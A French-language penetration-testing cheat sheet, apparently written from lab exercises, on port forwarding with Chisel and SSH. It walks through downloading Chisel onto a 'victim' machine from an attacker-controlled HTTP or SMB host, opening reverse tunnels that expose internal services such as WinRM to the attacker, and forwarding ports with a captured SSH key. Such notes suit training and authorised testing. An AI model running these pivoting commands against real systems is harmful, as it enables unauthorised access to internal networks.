Port Forwarding Techniques

Port forwarding (redirection de port) est une technique réseau qui permet de rediriger les connexions d’un port spécifique d’une machine vers une autre machine ou un autre port. Cela est souvent utilisé pour accéder à des services internes depuis l'extérieur, en traversant des pare-feux ou des routeurs.

netstat -tuln
netstat -ano | findstr LISTENING

Chisel:

Linux

Nous avons d'abord compilé Chisel sur notre machine locale :

GitHub - jpillora/chisel: A fast TCP/UDP tunnel over HTTPGitHub

git clone https://github.com/jpillora/chisel

go build -ldflags "-s -w" .
upx chisel

Ensuite, nous avons transféré l'exécutable Chisel vers la machine victime via un serveur HTTP Python3

python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel

Sur notre machine, nous avons démarré le serveur Chisel :

./chisel server -p 8888 -reverse

Puis, sur la machine victime, nous avons configuré le client Chisel pour rediriger le port 631 vers notre machine locale :

./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631

Windows

Releases · jpillora/chiselGitHub

Téléchargement et préparation des fichiers : Nous avons téléchargé les fichiers Chisel compressés, à savoir :

• chisel-linux

• chisel-windows.exe

https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gzgithub.com

https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gzgithub.com

Après les avoir extraits, nous avons transféré le fichier Chisel pour Windows vers la machine cible :

copy \\10.10.14.3\smb\chisel-windows.exe chisel-windows.exe

Mise en écoute sur la machine attaquante avec Chisel : Nous avons lancé Chisel en mode serveur sur la machine attaquante sur le port 8888 :

./chisel-linux server -p 8888 -reverse

Ensuite, sur la machine Windows cible, nous avons exécuté Chisel en mode client pour nous connecter à notre machine attaquante et rediriger le port 5985 vers notre machine :

chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985

SSH:

Nous redirigeons les ports internes vers notre machine d'attaque en utilisant la clé privée de l'utilisateur et en appliquant les bonnes permissions :

chmod 600 id_rsa

sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 [email protected] -i id_rsa